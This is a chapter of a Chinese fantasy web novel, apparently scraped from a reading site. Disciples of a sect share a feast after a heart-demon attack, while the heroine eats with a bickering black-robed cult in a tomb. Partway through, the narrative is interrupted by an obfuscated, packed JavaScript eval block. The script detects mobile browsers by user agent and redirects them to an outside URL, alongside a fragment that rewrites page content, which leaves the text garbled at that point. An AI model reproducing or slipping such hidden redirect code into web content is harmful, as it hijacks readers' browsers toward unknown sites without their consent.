“哎哟别挤我啊大姐,饿死鬼投胎是不是?我又不抢你土豆,我等水煎包!” “有本事你别挤!” 叽叽喳喳的吵闹传入被挤压成鱼干的鱼枕荷耳中,令她头脑嗡嗡的。 唔?晌午了吗? 哦……好像的确到饭点了。 但是但是! 鱼枕荷难以置信地看着周围,那些个在她印象中无比神秘的黑袍身影,此刻尽皆鱼贯入陵墓内其中一间飘出饭菜香气的房间,挠了挠后脑勺。 这不太对吧?这是挖人五脏的邪恶组织该有的内部氛围吗……? 20. 满汉全席 即便是荷月的晌午时分,九重天的阳光依旧温和。 最早的时候,除了魔域、冥域之外,大荒其余的六方界域各借了神域扶桑树上的其中一只金乌神鸟,为沉寂的黑夜带来黎明曙光。 然而,大荒九域虽各辟一方大洞天,承载它们的三十六重天却是处于同一片天地。故而神域剩下的两只金乌也没有闲空,而是每日在这三十六重天之间来回地飞,为驻守在界域外的人们带去温煦。 由于有两只金乌轮转,作为承载着各方界域的大树的整片三十六重天,其实才是气温最稳定的地方。 再说冥域,地府的那些幽鬼确是不需要阳光。 至于魔域…… 由于是横空出世,保守了说,是魔功的开山祖师爷没有和其他各域打好关系;大胆了说,以杀戮之城闻名大荒的魔域,无疑是界域公敌。 基于此缘由,魔域自然也没脸面向神域索要金乌神鸟。 这也造成了……魔域是座永夜城。 好消息是,这是魔域领主该头疼的事,仙家人并不需要因此而烦扰。 此时此刻,九重天。 无常关,般若峰。 “六万!” “过过过!” “五六七八!” “压!万字门,五六七八!” “……” 院落的汉白玉小桌前,宋逍拉着另外三个门生围坐在四个方位玩叶子戏,外围则津津有味地围观。紫藤花树下,几个门生正在用紫藤编织手环和花环。小鱼兔趴在门生的腿上,三瓣唇嚼着苜蓿草,时不时被路过的门生揉捏一下。 “四十万!欸,你说他们其实没死,真的假的?”叶子戏的行列中,坐在宋逍对面的门生忽地抬头问道。 “五十万!”宋逍抽出一张十字门打在桌面,“我骗你们做什么?总之,以你们弟子斋舍为中心点至边缘近三分之一千丈,二十顷有余,都在姜掌门的魂灯大阵范围内,谁死了伤了冥域都察觉不到。只要不是魂飞魄散那种程度的伤亡,他都能给你们拉回来。” “现在因为你们在般若峰,所以魂灯挪过来了。一会儿关鸠长老会过来给你们每个人洗炼灵窍,尽可能避免有沾染的煞气藏在你们身上,等着吧。” “有这么厉害?!姜掌门居然从来没和我们说过,还让我们白提心吊胆了一场。” “这个嘛……嘿嘿、不管了!继续继续!”宋逍低笑两声,目光不经意一斜,然后瞬间瞪大眼睛。 “欸嘿!被我逮住了你小子,偷看我牌!” …… 与此同时,东厨。 “哎,行了!您先别捣鼓您那醋鱼了,横竖也捣不出糖醋里脊的味儿。麻利儿过来,帮我剁点蒜。” 荀九卿手上动作一顿,然后便放下醋罐子,走到姜书怜旁边拿起一颗大蒜切。 姜书怜笑吟吟道:“这才对,好徒儿,您那鱼咱几个是真无福消受。” “……”荀九卿瞥他一眼,平静说道,“你锅里那碗酸味不明液体被我倒了,我也无福消受。” “浪费食物可耻!” 荀九卿在旁边装聋作哑,姜书怜见对方不搭理自己,话锋一转说道:“不是才回来吗,就这么着急又要上三十三重天?不再等等?” “嗯。这件事……我总觉得有些蹊跷。”荀九卿道,“如若我今夜没有赶得及回来,般若峰就劳烦你们了。” 约莫一刻钟后,一道道美食佳肴被姜书怜端上饭桌。 原以为又要吃无常关特产——没有肉馅的肉包子的门生们,在踏进饭堂的那一刻眼睛都瞪圆了。 “这是这是……太阳打西边出来了……?” 只见饭堂的每一张长桌上,都摆放着无一重复的山珍海味—— 焦黄酥脆的脆皮烧鹅、香甜可口的松子桂鱼、软糯芬香的桂花糯米藕、汤汁入味的海肠捞饭…… 额、还有……一锅酸味不明液体,以及一条疑似下一秒就要从盘子里跳出来的醋鱼。 浓厚的香味疯狂地勾着所有门生的馋虫,令人食指大动。 见人都来了,忙活大半天的姜书怜就倚在门板前,乐呵呵地摇扇子:“昨儿个吓到了吧?吃点好吃的,压压惊。” 众多门生在辨清眼前这些吃食确实是给他们准备的之后,尽皆两眼放光,以比平常积极百余倍的行动力飞奔向各方饭桌,夹肉的夹肉、打汤的打汤。 可惜啊,无常关难得在一众厨子、现任掌门和掌门继承人的共同操办下摆出了满汉全席,结果某对师徒一前一后相继跑了,连口热乎饭也没吃上。 什么叫有福不享、没苦硬吃。 姜书怜佻达地耸耸肩,转身离开饭堂。 不远地方,扎堆的其中一张饭桌前,苍溟替夜兰若捎来碗筷,推到她面前。正要夸赞今日的午饭丰盛,侧过眸时却觉出兰若师姐的脸色有一丝异样。 “怎么了师姐,想什么呢?”苍溟拉开椅子坐下,疑惑问道。 夜兰若摇摇头,眉宇间依旧凝重不减:“没什么。我只是隐约感觉,这件事有些怪异,就好像它本不应该出现在这里。”言及此处,她转头,郑重望住身旁的苍溟,略显犹疑地言道,“虽然听着有些奇怪,但是苍溟,你觉得这件事……我是指昨日幻化成‘磕头鬼’的心魔,它发生得合理吗?” “啊?”苍溟茫然不解,“什么意思?什么合理不合理的,师姐,我好像听不懂你在说什么了。”他顿了顿,继而又开口道,“但是兰若师姐,如果你是觉得心魔化煞出现在九重天上是另有隐情的话,我的确有这种感觉。” “这回的心魔很不对,不可能是它自己跑进无常关来的。说是有人刻意而为之,却不针对一众长老或掌门,也不波及关鸠长老坐守的外门山谷,而是只挑了内门斋舍下手。更巧的是,只有内门斋舍存有姜掌门留置的、维系魂魄不散的魂灯法阵,哪怕死了两百余个门生都能完好无损地救回来。” “料谁都能看得出,对方本意并不在分崩无常关,甚至对无常关某些内情很熟悉,昨日夜里,也像是在利用这心魔化煞,向无常关……或者说无常关内的某些人,传递某些信号。” 见苍溟如此反应,夜兰若只浅言附和道:“你说得没错,昨晚的心魔化煞显然有人暗中作梗。但我们都能觉出异样的事,姜掌门定然也有所察觉,所以只论此事,无需过多忧心。”旋即,她微微叹气,“可这到底是有依据的,与那种凭空浮现的感觉,还是不太一样。” “在此之前,我从未对什么分明就找不出差错的现实产生过如此剧烈的荒诞感,荒诞到我不知道该怎么形容这种感觉……但愿,是我多虑了吧。” “肯定是了。”苍溟舀出一碗温热的银鱼汤,递给夜兰若,“在斋舍收拾了一上午,太累了而已。现在多吃点,多歇歇,晚上才有力气追踪那没来由的心魔化煞。” 夜兰若颔首应了一句,接过温汤,视线却不自觉瞥向身侧窗棂外的层峦仙山。 …… 另一边、陵墓。 “要哪个?” “那个、那个!定胜糕!” “好嘞!” 身着黑袍的青男伸筷子,夹起饭桌上距离较远的一块奶黄流心糕,送入身侧黑袍少女的碗里,笑嘻嘻问道:“还要什么不?哥给你夹!” “唔唔——”鱼枕荷咬住流心糕,摇了摇头。 热乎的奶黄流心烫得她舌尖有些发麻,只是轻咬一口,咸甜的流沙便拌着温烫白雾淌了下来。 不得不说,这里的伙食真的很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296670|198566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然没有鱼枕荷自己起锅烧的好吃,但至少比无常关的坑蒙拐骗大“肉”包要好。 即便周围的人在吃饭的时候也要披着那腥臭的黑袍,只是将遮住半张脸的面巾扯了下来,导致腥味与饭菜香味混杂交织,让鱼枕荷有种一群臭乞丐蹲在生鲜草市旁边吃路边摊的错觉。 “这就不要了?多吃点啊,来来来!”黑袍青男俨然不在意鱼枕荷的碗已经被塞得满满当当,又往里头夹了两块糖醋土豆。 “喂!” 坐在鱼枕荷另一侧的黑袍青女嚷了一声,拍下筷子,面露不满地瞪着黑袍青男,愠声道:“就逮着我点的糖醋土豆夹呗,你故意的是不是?” 话音落下,黑袍青男蓦地睁大眼眸。只是还未等他反应过来去抬手护食,黑袍青女便更加手快地伸筷子插起三只水煎包,添入鱼枕荷碗里。抽出筷子时,满当当的鲜香汤水从薄皮被捅出的破口淌出。 “吃这个!”黑袍青女肃然朝鱼枕荷下令道。 鱼枕荷木然眨了眨眼睛。 “大姐,大姐姐。”黑袍青男扯着嗓子喊道,“你那糖醋土豆有整整一盘欸,吃得完吗你,我给小孩多夹点怎么了?但你看我那水煎包就十二个,都给夹完了我还吃什么!” 黑袍青女不以为意:“你有没有饭吃关我什么事?”说罢,又是插走两只水煎包,一只扔鱼枕荷碗里,另一只自己一口咬开。 见状,黑袍青男不甘示弱,同样报复性地往鱼枕荷饭碗里疯狂叠加糖醋土豆。担心人吃腻,他甚至用上了左手执筷。 右手比较灵活,用来夹糖醋土豆隔应黑袍青女;左手略逊一筹,则用来给鱼枕荷夹其他中合口味的菜品。 一左一右两个人库库一顿夹菜,不多时便在鱼枕荷的碗里堆起一座香喷喷小山。 鱼枕荷看看饭碗,看看左手边的黑袍青女,再看看右手边的黑袍青男,低声说道:“吃不下了……” “吃!” 左右两人默契地异口同声。 “……” 分坐鱼枕荷身侧的两个人,俨然是心魔幻境的墓道中,第二拨赶来的那男女二人。 此情此景,又有谁能想到,三刻钟以前还在幻境里杀得你死我活的三个人,此刻正其乐融融地坐在一张桌前吃饭。 唔……其实还有第四个人。 “你们两个,吃饭都不让人好好吃。”饭桌对案,同样声貌熟悉的黑袍老者无奈,斥责男女二人道,“看看你们中间这丫头,人家都懂得什么叫食不言,再看看你们,老大不小了,还在饭桌上较劲。” 鱼枕荷垂下脑袋,安静扒饭。 并不是不想说话,是夹在左右这两个从头吵到尾的黑袍之间,她根本没机会开口啊…… 不过有一点,鱼枕荷不晓得是自己多想了,还是确切存在这个怪异之处。 饭桌上,除了鱼枕荷身侧这二人,其他黑袍人也皆聊得不亦乐乎。本着打听些线索的由头,鱼枕荷一直在分出神来偷听其他人的闲谝。 显而易见的是,三两成对的黑袍人都是情谊非常的朋友,可无论是好朋友之间,还是关系不算特别好的几个黑袍之间,但凡涉及一个黑袍让另一个黑袍去取碗、打汤,或者是刻意与之发生交谈,他们要么就省去称谓直接说事,要么就拿“胖子”“谢顶老头”“酒葫芦”之类像是诨号的称呼,远远隔着其他黑袍去呼唤对方。 是不熟悉彼此的名字吗?可不熟悉的人之间,又真的会互相喊这种类似诨号的称呼吗……? 鱼枕荷心有疑虑,但也知晓此刻绝不适合问这种问题,于是继续埋头吃掉一只水煎包。 好在就目前看上去,经过黑袍老者的制止,她左右的男女二人一时半会儿没有再打算给她本就余地不多的肚子雪上加霜了……